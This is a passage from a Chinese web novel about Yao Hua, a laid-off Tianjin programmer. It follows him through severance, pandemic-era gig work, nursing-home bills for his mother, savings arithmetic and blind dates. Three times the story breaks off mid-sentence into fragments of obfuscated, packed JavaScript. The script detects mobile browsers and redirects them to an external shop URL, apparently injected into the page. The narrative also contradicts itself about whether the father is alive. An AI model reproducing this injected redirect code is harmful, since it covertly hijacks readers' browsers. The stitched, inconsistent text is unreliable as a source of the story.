优化。这个词用得好，像把裁员说得跟电脑清理垃圾文件一样。 “技术部留一半，裁一半。”戴经理递过来一张纸，“这是补偿方案，你看看。” 纸是A4纸，打印的，字很小。姚华眯着眼看：基本工资×12×2，再加三个月工资作为“特别补偿”。算下来，大概八万多。 “下周办手续，一月底前离岗。”戴经理说，“有什么要求，现在可以提。” 姚华想了想：“我能干到月底吗？” “为什么？” “凑个整月，社保不断。” 戴经理愣了一下，然后点头：“行。” 谈话结束，一共七分钟。姚华走出办公室，走廊里很安静，没人说话。大家都知道了，但都装不知道。像一群等待宣判的犯人，互相不看眼睛。 周五，正式签协议。会议室里摆了长桌，韩国代表坐一边，中国员工坐一边。韩国代表有三个人，中间那个五十多岁，头发梳得油亮，戴金丝眼镜。他站起来，先鞠了个躬，九十度，很标准。 “各位同事，”他说中文，有口音，“非常抱歉。公司做出这个艰难的决定……” 姚华看着他的嘴，一张一合，像鱼。话都是套话，什么“市场环境”，什么“战略调整”，什么“感谢付出”。听着听着就走神了，想起小时候看朝鲜电影，里面的人说话也这个调调。 讲完了，人事部开始发协议。一人一份，装在牛皮纸袋里。打开看，印刷精美，铜版纸，还烫了金边。补偿金额用加粗字体标着，很显眼。 签字笔是统一的，黑色，笔杆上印着公司logo。姚华拿起笔，手有点抖。不是激动，不是难过，就是抖，像冷的。 他翻到最后一页，签名栏。名字，身份证号，日期。日期空着，他写：2019年12月20日。 写完了，递回去。人事部小姑娘接过去，检查了一下，点点头，放进另一个文件夹。 整个过程没人说话。只有翻纸的声音，写字的声音，空调出风的声音。像场默剧，演员们按剧本走，不说台词。 签完的人陆续离开。姚华没走，他坐在那儿，看着桌子。桌子是实木的，很厚，桌面有划痕，不知道是谁划的。他看着那些划痕，一条一条，像人生的皱纹。 会议室里人越来越少。最后只剩下他和另一个技术部的老刘。老刘四十五了，头发白了一半。他签得很慢，一笔一画，像在刻碑。 签完了，老刘站起来，走到姚华旁边，拍拍他肩膀：“走了。” “嗯。” 老刘走了。会议室空了。 姚华还是没动。他看着对面墙上那幅画，是抽象画，一堆色块，看不懂画的是什么。公司花大价钱买的，说是提升格调。现在公司要裁人了，画还在那儿，看不懂的还是看不懂。 他忽然想起自己的工位。十二年，同一个位置。桌上那盆绿萝，是他刚来时买的，十块钱，从花卉市场抱回来的。那时候绿萝很小，只有几片叶子。现在爬满了隔板，垂下来，像绿色的瀑布。 他想去看看那盆绿萝。 走回技术部，大部分工位已经空了。电脑关了，椅子推了进去，像没人坐过。他的工位还在那儿，绿萝还在那儿。 他坐下来，打开电脑。屏幕亮了，需要输入密码。他输了，错了。又输，又错。第三次才输对——手抖，按错了键。 电脑桌面是默认的蓝天白云。他一个个关掉图标：工作文件夹，项目文档，代码编辑器。关到最后一个，是报销系统，里面还有一张出租车票没报，二十三块钱。 他点了提交，系统提示：流程已提交，等待审批。 等不到了。下周一，他的账号就注销了。 关掉电脑，屏幕黑了，映出他的脸。三十八岁，眼角有皱纹了，鬓角有白发了。像父亲，像母亲，像所有被生活磨糙了的人。 他转头看那盆绿萝。绿萝长得很茂盛，叶子油绿油绿的。但最下面那片叶子黄了，边缘卷曲，像烧焦的纸。 他伸手去摸，叶子脆了，一碰就碎。碎屑落在键盘上，黄黄的。 十二年，就换来这片黄叶。 他站起来，开始收拾东西。其实没什么可收拾的：一个水杯，几本书，一个充电器，还有那盆绿萝。书是技术书，都旧了，纸黄了。他翻了翻，里面还有当年做的笔记，字迹很工整，像另一个人写的。 把东西装进纸箱，不大，半箱都不到。绿萝不好装，他抱着。 走出公司，电梯里没人。镜子里的自己抱着纸箱，抱着绿萝，像个搬家工人。 一楼大厅，前台小姑娘在玩手机，抬头看了他一眼，又低下头。她认得他，但没说话。裁员时期，最好别说话，说多错多。 走出大厦，天已经黑了。风很大，吹得纸箱哗啦响。他站在门口，不知道该往哪儿走。 回家？回家干什么？看电视？发呆？ 他想起父亲。父亲下岗那天，是不是也这样？抱着个纸箱——或者连纸箱都没有——站在包子铺门口，不知道该往哪儿走。 父亲后来去了海河。姚华记得，那天晚上父亲很晚才回来，一身酒气，但眼睛很亮。他说：“华子，爸今天沿着海河走，一直走，走到没路了。” “然后呢？” “然后回头，走回来。” 那时候姚华不懂。现在懂了。 就是想一直走，走到世界尽头。走到没路了，也许就轻松了。但世界没有尽头，路永远有，只是你不愿意走回头路。 可最后都得回头。都得走回来，回到那个破家，回到那个要吃饭的肚子，回到那个还得活下去的现实。 姚华抱着纸箱，抱着绿萝，开始走。 沿着街道走。路过小卖铺，进去买了个玻璃瓶汽水。收银员问：“要袋子吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119433|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用。” “一块钱押金，瓶子还回来退。” “嗯。” 他拿着水出来，继续走。路过一家房产中介，橱窗里贴着房价：每平米三万起。他算算自己的存款，加上赔偿金，大概能买三平米。一个厕所那么大。幸好自己的限价房已经批下来了，虽然是期房还不能住，但月月要按照规定时间还贷款。 路过养老院。福寿康宁四个字亮着灯，那个掉了撇的“寿”字，在黑夜里特别显眼——福寸康宁。 母亲在里面，一个月三千四。 他现在没工作了，三千四怎么交？ 不知道。 先走着吧。 走过二中门口，放学时间过了，没人。卖煎饼果子的摊子还在，摊主在收摊，把工具一件件往三轮车上搬。 走过望海楼，教堂的尖顶在黑夜里像把剑。 走过银行里，筒子楼亮着灯，一格一格的，像骨灰盒寄存处的架子。 他一直走，走到海河。 河边风更大，吹得绿萝叶子哗啦啦响。他把纸箱放在长椅上，自己坐下。对面是天津站，钟楼亮着灯，指针在走，一圈一圈。 父亲当年坐在这儿的时候，想什么？ 想未来？想怎么活下去？还是想，干脆跳下去？ 不知道。 姚华打开水，喝了一口。水是凉的，凉到胃里。 他拿出手机，看了看时间，八点十七分。 又看了看银行短信。余额：32476.52。 三万多。加上赔偿金八万多，一共十一万多。 能撑多久？ 养老院一年四万，房贷一年两万八。加起来六万八。还剩四万多。 四万多，够活一年？如果省着点，也许。 然后呢？ 然后就得找新工作。三十八岁，被裁的，能找到什么工作？ 不知道。 他又喝了一口水。水快喝完了。 河面上有船在走，观光船，亮着彩灯，船上有音乐，飘过来，断断续续的。 “甜蜜蜜，你笑得甜蜜蜜……” 甜蜜蜜。父亲爱唱这歌，喝醉了就唱，跑调跑得厉害。 姚华忽然想，父亲下岗那天，坐在这儿，是不是也哼歌？哼什么歌？《国际歌》？《咱们工人有力量》？ 还是《甜蜜蜜》？ 不知道。 永远不知道了。 就像父亲不知道，二十年后，儿子也下岗了，也坐在这儿，也想一直走到世界尽头。 这就是轮回。一代一代，下岗，失业，走投无路，坐在河边，想走到世界尽头。 但世界没有尽头。 只有河，流啊流，流到海里去。 海里就有尽头吗？ 不知道。 姚华站起来，抱起纸箱，抱起绿萝。 回头，往家走。 风还在吹，吹得他睁不开眼。 但他得走。 因为不走，就真的停了。 而他还不能停。 母亲还在养老院，一个月三千四。 房贷还要还，一个月两千四。 他得走。 一直走，走到走不动为止。 走到像父亲那样，走到最后，死在老屋里，三天没人知道。 但现在，还得走。 路灯把他的影子拉得很长。 长得像那条河，弯弯曲曲，看不到头。 他走着。 一步一步。 像父亲当年那样。 走回来。 27. 第二十七章 打水漂的日子 二零二零年春天，疫情来了。这事说来有意思——姚华失业后的第三个月，世界忽然静了，静得像被人捂住了嘴。街上不见人影，店铺都锁着铁门，那把锁比老板的脸还板正。公交车像被抽走了魂，半小时才晃过一辆，空荡荡的车厢里，司机一个人坐着，像给自己开追悼会。姚华坐在出租屋里，看着窗外那条熟悉的街道。如今空得陌生，连流浪狗都不见了——狗也懂得避险，知道这年头出来晃不划算。晾在窗台上的衬衫三天没干，摸上去潮乎乎的，像能拧出水，拧出来的大概是日子的涩味。 失业保险金每月一千六，雷打不动。月初那天的上午十点零七分，手机准时“叮”一声。这声音比闹钟准，比亲戚的问候勤。短信来了：“您尾号3476的账户收入1600.00元，余额17893.21。”他把那串数字看了三遍，从前往后看，又从后往前看。看来看去，数字不会多，也不会少，像个老实的呆子。一千六，不够养老院半个月的费用，不够房贷月供的三分之二——两千四的月供，还差八百整。这八百块钱像个门槛，跨不过去，你就得在门外蹲着。 得找活干。 他在应用商店里搜“零工”，跳出来十几个。名字起得都挺豁达：“乐干”“随手赚”“快活帮”。最后选了那个“快活帮”，名字起得像个玩笑。人活得不大快活，倒要去快活帮，这事本身就有意思。注册要填二十二项信息，从姓名到血型，从学历到婚姻状况——婚是结了，又离了，这该怎么算？上传身份证正反面，人脸识别时系统总提示“光线不足”。他举着手机在屋里转了一圈，像个探照灯，最后站在窗边才通过。绑银行卡时，手抖了一下，输错两次密码。不是记性不好，是心里发慌，慌得像做贼。 系统自动派单，像发牌，发到什么是什么。没有挑选的余地，只有接或不接。不接三次，当天就不能再接了——规矩是别人定的，你只能遵守。 第一单是写公众号文章。雇主头像是个莲花座，昵称叫“往生缘”。点开详情，是卖墓地的。题目叫《百年之后，何处安放》，要求倒简单：一千字，正能量，不能提价格，不能让人觉得晦气。这要求不简单——让人买墓地还得高兴，好比让人吃药还得说甜。 姚华对着电脑坐了三个小时，烟灰缸满了。写了删，删了写，最后凑出一篇：春天来了，万物复苏，生命如四季轮回，提前规划是对家人的负责，是爱的延续。写完自己从头读一遍，觉得假，像给死人化妆，粉抹得再厚，底下还是冷的。但冷也得写，好比饭馊了也得吃，不吃饿。 发过去，十分钟后回复：“能用。八十块，已支付。” 手机又“叮”一声，八十到账。他算了一笔账：三小时八十，时薪二十六块六。比失业金强点，但平台要扣税，说是代扣，二十块整。最后到手六十，刚够买两包烟、三斤挂面。烟能解乏，挂面能顶饿，别的就不敢多想了。 第二单是数据标注。给人工智能训练用的，识别图片里的猫狗。一千张图，猫打1，狗打2，分不清的打0。一毛钱一张，全对奖二十。这奖像挂在驴眼前的胡萝卜，看得见，吃不着。 从早上八点干到晚上十点，眼睛看花了。有些图模糊得像隔了层雾，有些只拍了个尾巴尖，有些既像猫又像狗——耳朵像猫，尾巴像狗，眼神像在嘲笑他。标到第五百张时，他停下来，盯着屏幕上一只橘猫。猫躺在沙发上，肚皮圆滚滚的，旁边有个空了的猫罐头。他忽然想：这猫有人养，有人疼，我连自己都养不活。人活得不如猫，这事不新鲜。 一千张标完，手指僵了。提交后，系统三秒就出了结果：错了七十三张。扣七块三，实得九十二块七。奖金那一栏是灰色的，旁边有个红叉。那叉打得理直气壮，像老师批改作业。 第三单最荒唐：帮人排队买奶茶。店在大学城，网红店，限购，一人两杯。雇主是情侣，要四杯，自己懒得排，出五十块跑腿费。五十块钱买两小时，这账怎么算？有人觉得值，有人觉得不值，全看你站在哪边。 姚华早上七点去，队伍已经从店门口排到了街拐角，还打了两个弯。都是二十出头的年轻人，戴着各式口罩，低头看手机。他站在队伍里，像个异类——四十岁不到，头发白了一半，穿一件洗得发灰的夹克，手里还拿个破记账本。那本子记的是账，也是日子。 前面两个女孩在聊天，声音隔着口罩传出来，闷闷的： “你这月花呗还了没？” “没呢，又分期了。” “我也是。这奶茶真贵，三十一杯。” “贵也得喝，不然拍照没东西发朋友圈。” 姚华听着，心里默算：三十一杯，四杯一百二。加跑腿费五十，一共一百七。够他买三天的菜——土豆、白菜、豆腐，还能剩点买鸡蛋。算账这事，越算心里越凉。 排了两小时十七分钟，轮到他了。店员是个二十来岁的小姑娘，画着精致的眼线，眼皮都没抬：“什么口味？” “两杯波霸奶茶，两杯芝士奶盖。” “糖度冰度？” “……正常。” “正常是几分糖？” 姚华愣了。他不知道，雇主没说。后面的人开始催：“快点啊，都等着呢！”声音不大，但刺耳，像针尖。 他掏出手机打电话，铃响八声，没人接。店员不耐烦了，手指在收银台上敲：“要不您让让，下一个。” 他只好瞎说：“都……都正常吧。” 提着四杯奶茶坐公交，晃了十二站。塑料袋子勒手，他在手心垫了张纸巾，还是勒出了红印。到地方，雇主在小区门口等。男的穿着睡衣，头发乱得像鸟窝，接过奶茶，看了看标签：“我要的是少糖去冰，你这都正常啊。” “您电话没接……” “算了算了。”男的摆摆手，扫码付钱，动作很快，“下次注意。” 五十块到账。姚华转身走，听见女的声音从背后飘来：“这人看着挺老，还干这个。” “失业的吧，现在多的是。” 他走得更快了，几乎是小跑。跑到公交站台，才停下来喘气。等车时，他摸出记账本，把“奶茶排队50”记上去。字写得歪，像被风吹过。风不识字，何必乱翻书？但风不管这个。 四月底的那个晚上，他把账本摊开，一页页加。最后得到： 4月1日：失业金1600 4月5日：公众号80（税后60） 4月12日：数据标注92.7 4月18日：奶茶排队50 4月25日：超市理货120（一天） 合计：2022.7 支出那栏更重： 房贷2400 养老院3400 生活费800（米面油盐，最省的吃法） 赤字：4577.3 赤字用红笔写，很刺眼。姚华盯着那个数字看了很久，看得眼睛发酸。胃里忽然一阵抽搐，他想起父亲当年也记账，也是红字，也是越记越多。原来贫穷会遗传，像白发，像皱纹，像甩不掉的影子，你走哪儿它跟哪儿。影子不要钱，但影子跟着你，你就得背着。 五月，他注册了外卖骑手。这个来钱快，一单五块，勤快点一天能挣二百。培训简单得像走过场：下载APP，看二十分钟安全教育视频——里面的事故案例看得他心里发毛，那些血淋淋的画面像在说：看，这就是下场。领件荧光黄马甲，就算开工了。马甲黄得扎眼，像警示牌。 第一天送了八单，挣四十。第二天十二单，六十。第三天碰上下雨，单多，他心一狠接了十五单。结果超时三单。超时好比迟到，理由再多，也是你不对。 超时的最后一单是送到写字楼。接单时显示二十五分钟，实际上光等电梯就等了十分钟。顾客打电话来骂，声音从耳机里炸出来：“你属蜗牛的？一个小时了！饭都凉了！” 姚华在电梯里，信号断断续续：“对不起，下雨，路滑……” “路滑就别干这行！我投诉你！” 电话挂了。他盯着电梯镜面，镜子里的人浑身湿透，头发一绺绺贴在额头上，白发格外显眼——什么时候这么多了？仔细看，黑发里掺着白，像秋后的草地，枯一半绿一半。脸是黑的，不是晒的，是累出来的那种暗沉。眼袋耷拉着，像两个小口袋，装满了熬夜和焦虑。焦虑这东西，装多了会漏，漏到脸上就成了皱纹。 三十八岁，看着像五十八。这事不稀奇，有人十八看着像八十，心老了，脸就跟上。 电梯门“叮”一声开了。他拎着外卖走出去，走廊里亮得晃眼，地板光可鉴人，能照出天花板上的灯管。他湿漉漉的鞋踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119434|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去，留下一个个水印子，鞋底的花纹清清楚楚，像犯罪现场留下的证据。这证据不抓人，但刺眼。 敲开门，是个年轻男人，穿着绸缎睡衣，头发乱糟糟的，脸上有睡痕。“怎么才来？” “对不起。” 男人接过袋子，看了一眼，砰地关上门。连句“谢谢”都没有，连个眼神都没多给。门关得干脆，像切菜。 下楼时，投诉短信来了：“您已被投诉超时，扣款20元，信用分减5。” 姚华站在大楼门口，雨还在下，不紧不慢的。他摸出烟盒，抽出一支，烟卷已经潮了。打火机按了十几次，终于窜出火苗。吸一口，全是潮气，辣嗓子。辣就辣吧，总比没味儿强。 那天晚上，他去了小区门口的便利店。在货架前站了半天，最后拿了瓶直沽高粱。最便宜的那种，父亲常喝的。十二块五一瓶，塑料瓶装，标签简单得像临时贴上去的。酒不好，但能醉人，这就够了。 回到家，他对着瓶子看了很久。标签上印着高粱穗，金黄金黄的，假的。他拧开瓶盖，一股刺鼻的味道冲出来，像工业酒精兑了水。倒了一杯，液体透明，看着像水。他抿了一口，辣，从舌头辣到喉咙，再辣到胃里。再一口，苦，苦得舌根发麻。第三口，他咽下去，然后全吐了，吐在水池里，连晚上吃的榨菜面条一起。 太苦了。苦得不像酒，像毒药。 父亲怎么能喝这个？还喝了一辈子？ 他忽然想起，父亲喝醉后常说那句话：“酒是苦的，命更苦。喝多了，就尝不出命的苦了。” 原来是真的。真话都苦，像这酒。 姚华把瓶子扔进垃圾桶，咣当一声，在安静的夜里格外响。他洗了把脸，水很凉。抬头看镜子，镜子里的人头发半白，皱纹从眼角爬到额头，眼睛里的光很暗，像快耗尽的电池。 像父亲。越来越像。儿子像老子，天经地义，但像到这个份上，就有点悲凉。 他回到桌前，打开账本。翻到今天的页，记下：外卖收入八十，扣投诉二十，实得六十。支出：烟十块，酒十二块五，晚饭十五——其实就一碗面条，加了个鸡蛋。 净收入：二十二块五。 还不够养老院一天的费用。养老院一天二十五，管三顿饭，但父亲已经吃不动硬食了，只能喝粥。粥便宜，但养老院不降价。 他合上账本，走到窗前。外面还在下雨，路灯在水洼里投下倒影，晃晃悠悠的，像另一个世界。有辆车驶过，轧起一片水花，哗啦一声，又静了。静了又闹，闹了又静，日子就这么过。 手机忽然亮了，屏幕光刺眼。是平台派单提示：夜间配送，单价加倍，每单八元。 他看了看时间，十点半。 接不接？ 接了，还得在雨里跑两三个小时。 不接，明天吃什么？后天呢？ 他站起来，穿上还没干透的外套。布料贴着皮肤，凉得他打了个哆嗦。推门出去时，钥匙在锁孔里转了两圈——出租屋的锁不太好用，得多转半圈才牢靠。锁不好用，但能锁住门，锁不住日子。 雨夜里，他的电动车灯亮起来，光柱黄蒙蒙的，像一只疲惫的眼睛。车子在空荡荡的街上移动，轮子轧过积水，发出哗哗的声音。 这让他想起父亲。父亲当年蹬三轮，也在这样的雨里，一趟一趟。不同的是，父亲拉的是货——建材、家具、有时候是整车的蔬菜。他送的是饭，是奶茶，是不知道谁点的宵夜。 相同的是，都在为一口饭，拼命。拼命这事，一代传一代，比遗产实在。 雨打在脸上，凉凉的，顺着脖子流进衣领。他忽然想，这雨什么时候停？ 不知道。 但就算停了，明天还有雨。天气预报说，接下来一周都是雨。 就像这日子，一天接着一天，没有晴天。偶尔出太阳，也是隔着云层，白茫茫的，没有温度。温度这东西，心里没有，身上就感觉不到。 他拧动油门，车子向前滑去。水花溅起来，打湿了裤腿。深色的水渍从裤脚往上爬，爬过小腿，爬到膝盖。 他不在乎了。 湿了就湿了。 反正早就湿透了。 从里到外。里外都湿透，反倒踏实了——湿到底，也就到底了，到底了，就不能再往下湿了。 28. 第二十八章 五十八点五个月 养老院的账单装在白色信封里，每月五号准时到。信封右下角印着“福寿康宁”，那个“寿”字掉了一撇，印得又特别大，瞧着倒像故意让人注意它缺了点什么。 姚华总是十号左右去。等母亲吃完午饭，睡意刚上来还没上的时候。他先坐床边说会儿话，然后从包里掏出信封：“妈，对下账。” 张玉芬手一挥：“你对就行。” “您也看看。” “看啥，看了不还是那些数。” 话这么说，姚华还是把单子铺在小桌上，一项项念过去：“床位费一千二，护理费一千，餐费六百，药品代管费两百，水电八十，杂费二十……” 念到杂费，张玉芬会插一句：“啥杂费？” “写的就是杂费。” “二十块，能买三斤鸡蛋。” 每月都是这套话，跟戏台上的锣鼓点儿似的，准时准点。念完了，姚华问：“妈，您退休金多少来着？” “两千三。” “长护险呢？” “一千一。” “加起来三千四，正够。” “嗯，正够。” 正够。这词儿用得巧——刚好卡在门槛上，进不去，也出不来。像件衣裳，穿上能蔽体，但抬胳膊就露肉。 对完账，姚华去一楼打明细。收费处是个小窗口，像早年供销社的水泥台子。里头坐个中年女人，永远在嗑瓜子。瓜子壳吐在一次性杯里，满了也不倒，堆成个小山尖。 “打一下303张玉芬的明细。”账单递进去。 女人接过去，扫一眼，键盘敲得啪啪响。打印机吱吱呀呀吐出一张更长的单子。比寄来的细，每一笔都有日期，有项目，有单价，像份认罪书。 “签字。”女人推出来，笔用绳子拴在窗口——防人顺笔，这儿什么都防。 姚华就站在窗口看。一行行往下扫：输液费多少，翻身费多少，喂饭费多少。翻身还有价，一次两块，一天十二次，二十四块。他忽然想，母亲翻身的时候，知道这一翻值两块钱不？ 多数时候账单是对的。直到那个星期二。 那天照常对账，照常打明细。女人在嗑五香瓜子，满窗口都是那个味儿。 单子打出来，姚华一眼就盯住了：药品栏里，多写了三剂降压药。 “这个，”他指那行字，“我妈的降压药一天一剂，这个月三十一天，该三十一剂，怎么是三十四？” 女人凑过来看，嘴唇上粘着片瓜子皮。“哦，我查查。” 键盘敲了半天。“系统里就是三十四剂。” “可我妈只吃了三十一剂。我每周来两趟，药盒我数过。” 女人抬眼看他，眼神里透着倦。“那你找院长吧，我只管收费。” 院长办公室在二楼尽头。敲门，里头说“进”。院长在泡茶，铁观音，香味浓得化不开。 “院长，有个事。” “你说。”院长放下紫砂杯，杯上刻着“知足常乐”。 姚华递过账单，指那三剂药。“多收了。” 院长戴上老花镜，看了好一会儿。“哦，这个。系统错误，最近升级，老出错。” “能改不？” “能，咋不能。”院长拿起电话，“小刘，把303张玉芬的药费改一下，减三剂。” 挂上电话，院长笑：“不好意思啊，系统问题。下月账单调过来。” “多收的钱……” “下月抵扣。” 姚华想说现在就要退，话到嘴边又咽了。想起上月有个家属在这儿吵，因为多收了一百块保洁费。吵到最后，院长说：“要不您把老人接走？”那人就不吭声了。 他没这底气。母亲接不走，没地方去。 “谢院长。”他说。 “客气啥。”院长像是忽然想起，“对了，下月餐费涨二十。物价涨了，没法子。” “哦。” “护理费下季度可能也要调，正报批呢。先跟你通个气。” “涨多少？” “大概五十吧。护工难招，工资得涨。” 姚华心里算了算：餐费涨二十，护理费涨五十，一个月多七十。一年八百四。 他点头：“知道了。” 走出院长室，他在走廊站了会儿。墙上贴着宣传画，几个老人笑得牙不见眼，下面一行字：“福寿康宁，安享晚年。” 安享。一个月三千四，涨完三千四百七，拿什么安享？ 回房间，张玉芬还没睡，在玩扑克牌。今天玩接龙，左手比上月活泛些。 “对完了？”她问。 “嗯，有个错，多算三剂药钱。院长说下月抵。” “哦。”张玉芬出了一张牌，“院长没说要涨钱吧？” 姚华顿了顿：“没。” “那就好。” 他坐床边看母亲玩牌。牌在手里翻飞，慢，但有板有眼。她今天穿了养老院发的衣服，蓝白条，洗得发白。 “妈，”姚华说，“您在这儿……还成吗？” “成啊。”张玉芬头也不抬，“有吃有喝有人管，还想咋？” “李姨还唱不？” “唱，天天唱。今儿唱《刘巧儿》，自己改的词。”张玉芬哼了两句，“‘巧儿我自幼儿许配赵家，养老院一住就是我的家……’” 哼跑调了，但哼完她笑了。半边脸笑，怪，可真心。 姚华也笑。笑完心里更空。 坐一会儿，他起身：“妈，我走了。” “走吧，路上慢点。” “嗯。” 出养老院，下午三点。太阳正好，晒得人发懒。他在门口站了站，点了支烟。 烟抽一半，忽然想算笔账。掏手机，开计算器。 存款：十一万三千（赔偿金加积蓄） 每月支出：房贷两千四，生活费一千（失业了，得省） 每月收入：失业金一千六，零工算一千（平均） 每月净流出：八百（2400+1000-1600-1000） 存款能撑：113000÷800=141.25个月 不对，漏了养老院。下月涨七十，就是三千四百七。母亲退休金加长护险三千四，差七十。这七十得他补。 那每月净流出就是八百七。 113000÷870=129.885个月 再往下想。失业金只领两年，二十四个月。二十四个月后，如果还没正式工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119435|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作，零工按八百算（现在平均一千二，以后难说）。那时每月净流出：房贷两千四+生活费一千+养老院缺口七十=三千四百七，收入八百，净流出两千六百七。 存款能撑多久？先过前二十四个月：24×870=20880，存款剩92120。 然后：92120÷2670=34.5个月 加起来：24+34.5=58.5个月 四年零十个半月。 算到这儿，地铁来了。上车，车厢空，他坐靠门位置，继续算。 如果找到工作呢？按从前工资，税前八千，税后五千二。那每月净流出：房贷两千四+生活费一千五（有工作得吃好些）+养老院缺口七十=三千九百七，收入五千二，净剩一千二百三。 存款就不动了。 可工作找得着吗？三十八岁，被裁的，本科学历。 难。 地铁报站，他抬头看一眼，又低头。在手机备忘录里写：最好情况——找到工作，月入五千二，存款不动。最差情况——一直失业，存款撑58.5个月。 中间呢？找个三四千的工作？那可能刚好扯平，存款动不了，也攒不下。 算来算去，都是紧的。 忽然想起小时候，母亲用火柴棍教他算数。一根根摆，加减法，简单。母亲说：“学会算数，不吃亏。” 现在他算得精，可该吃的亏，一口没少吃。 地铁钻出地面，阳光扎眼。他看着窗外掠过的楼，忽然想，这些楼里住的人，也在算账吧？算房贷，算车贷，算孩子补习费，算父母医药费。 大概都算。算自己还能撑多久。 只是有人算的是年，有人算的是月。 有人算的时候坐真皮椅子，有人算的时候挤地铁。 都一样。都是算。 列车又进隧道。突然黑下来，像有人蒙了眼。姚华看车窗，窗玻璃变成镜子，映出他的脸。没表情的脸，被黑暗吃进去的脸。 他想起刚才那个数：58.5个月。四年零十个半月。 四年后，他四十三。 母亲六十二。 如果母亲还能活十年，后五年咋办？存款空了，工作找不着，养老院的钱谁交？ 不敢想了。 隧道真长，黑得让人以为天永远不会亮。 然后突然，光又来了。窗外又是楼，又是街，又是人。 一切照旧。 只有他知道，有什么不一样了。 那个数，58.5，像刻在脑仁上了。 四年零十个半月。 倒计时从今天就开始了。 从今往后，每一天都是倒数。 他闭上眼。 地铁一站站开。 像命，一秒秒走。 不停。 不能停。 停了，就到站了。 可他还没准备好下车。 也许永远准备不好。 但车总会到站。 不管你愿不愿意。 他睁开眼，看了看站牌。 下一站，该下了。 日子还得过。 账，还得算。 算到算不动那天。 29. 第二十九章 条件反射 表姨的电话是周二晚上打来的。姚华正煮面条，水刚滚，手机在桌上震，像条离了水的鱼。 “华子，跟你说个事。”表姨说话永远带喘，像刚追完公交车，“我同事她侄女，超市收银的，二十九了，还没找着主。你见见？” 姚华盯着锅里翻滚的面：“我……眼下没工作。” “没工作咋了？你有房啊！”表姨把“房”字咬得咯嘣响，“现在的姑娘，实在着呢，有房就成一半。” “房是期房，还背着贷款……” “哎呀谁家买房不欠银行？见了再说！周六下午两点，乐宾楼下快餐店。” 挂了电话，面条煮烂了，糊在锅里像糨糊。姚华捞出来，倒了点酱油拌拌，坐在桌前吃。一边吃一边算，二十九，超市收银。一个月能挣多少？两千？三千？够她自己用吗？ 周六他穿了唯一那件撑场面的衬衫，领口磨得发亮，但洗得干净。提前十分钟到乐宾，快餐店里吵得像个市场：小孩哭，情侣互相喂饭，还有个老头独坐，面前一杯可乐，半晌抿一口。 两点整，姑娘来了。表姨给的照片是美颜过的，真人黑些，胖些，穿着超市工服，蓝衬衫配红领结，乍看像肯德基促销员。 “姚华？” “是我。你是……小郭？” “郭彩月。”姑娘坐下，把包搁在旁边椅子上。包是仿皮的，边角裂了，露出里头白生生的底子。 点了两杯柠檬水，十八块。姚华扫码付钱，手有点抖——十八块，能买三斤半挂面呢。 “表姨说你有房。”郭彩月开门见山。 “嗯，北辰那边。” “多大？” “七十三平。” “贷了多少？” “还剩……三十来万。” “月供呢？” “两千四。” 郭彩月点点头，吸了一口柠檬水。吸得很慢，像品茶。“那你现在干啥？” “原先搞计算机，去年被裁了，眼下……打点零工。” “零工？”她眉头皱起来，“一个月能挣多少？” “两三千吧，不固定。” “哦。”她又吸一口，“那你妈呢？听说在养老院？” “嗯。” “一个月多少钱？” “……三千四。” “你出？” “我妈退休金够。” 郭彩月不说话了，盯着杯里那片柠檬。柠檬泡得发白，浮在水上，像淹死的鱼尸。 坐了约莫十分钟，她把水喝完，站起来：“我下午还有班，先走了。” “哦，行。” “谢你的水。” “没事。” 她走了，没回头。姚华坐着，看她背影消失在门口。然后他拿起她那杯子，杯沿沾着个口红印，淡粉色，廉价款。 他把两杯都喝光了——十八块呢，不能糟蹋。 第二个月，表姨电话又来了，这回嗓门更亮：“华子，这个好！小学老师，三十三，前年丈夫车祸没了，没孩子。文化人，明事理！” 见面约在王串场公园。周六早上，公园里全是锻炼的老头老太：甩手的、踢腿的、撞树的。姚华坐在长椅上等，看一个老头用背撞树，撞一下，哼一声，跟树有仇似的。 老师来了。穿米色风衣，戴眼镜，手里拿本书。走近一瞧，是《小学语文教学法》。 “姚先生？” “叫姚华就行。” “我姓马，马玉娟。”她坐下，把书平放膝上。书皮用挂历纸反面包着，边角折得方正正。 “马老师。” “别叫老师，叫玉娟吧。”她笑了一下，笑容很淡，像纸上洇开的水渍。 俩人顺着公园小道走。早晨空气清，有桂花味儿。马玉娟说话轻声细语，问一句答一句，不问就沉默。 走到荷花池边，她停下看荷。荷花早谢了，只剩枯叶耷拉着。 “姚华，”她忽然问，“你过得挺累吧？” 姚华一愣。 “表姨跟我说了，”马玉娟转脸看他，镜片后的眼神温和，“你妈在养老院，你爸刚走，工作也没了。” “还……还行。” 